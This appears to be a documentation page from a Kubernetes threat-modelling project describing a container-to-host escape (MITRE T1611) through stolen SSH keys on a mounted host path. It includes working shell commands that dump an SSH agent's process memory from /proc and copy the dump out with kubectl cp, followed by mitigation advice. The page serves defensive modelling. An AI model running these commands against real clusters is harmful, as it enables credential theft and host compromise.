Skip to content


Source Destination MITRE
Container Node Escape to Host, T1611

Exploit an arbitrary read from a sensitive host path mounted into the container to gain execution on the host.


If a sensitive host directory is exposed to a container, even as readonly, it can enable an escape to the host. The only example currently modelled is exposing a host volume that contains SSH keys (and assumes that SSH is enabled on the node for SRE activities). In this scenario an attacker can steal the SSH keys from the mounted volume, then SSH directly into the node.


Execution within a container with a sensitive host path mounted as readonly.

See the example pod spec.


Check for interesting mounted volumes in the container as decribed in VOLUME_DISCOVER. Specifically:

  • /etc, /root, /home, /proc for SSH key material. This enables accessing the node via SSH (which is typically enabled for management functionality)


Consider the case of an exposed /proc mount. We can attempt to steal SSH keys directly from the process memory of the SSH agent. First identify the target process by dumping all process info via:

find /proc -maxdepth 2 -wholename '/proc/[0-9]*/status'  | xargs cat > process-list.txt

Once the target PID has been retrieved, dump the process memory by reading /proc/${PID}/mem:

    cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
    while read a b; do
        dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
           skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
    done )

then exfiltrate the memory dump to an attacker machine using kubectl cp (or any other mechanism):

kubectl cp ${NAMESPACE}/${PODNAME}:/mem.bin ./mem.bin

Finally extract any SSH keys offline from memory using the ssh-grab python script.


  • Monitor for access to sensitive host files (e.g SSH keys) originating from container processes

Implement security policies

Use a pod security policy or admission controller to prevent or limit the creation of pods with a hostPath mount of / or other sensitive locations.

Least Privilege

Avoid running containers as the root user. Enforce running as an unprivileged user account using the runAsNonRoot setting inside securityContext (or explicitly setting runAsUser to an unprivileged user). Additionally, ensure that allowPrivilegeEscalation: false is set in securityContext to prevent a container running as an unprivileged user from being able to escalate to running as the root user.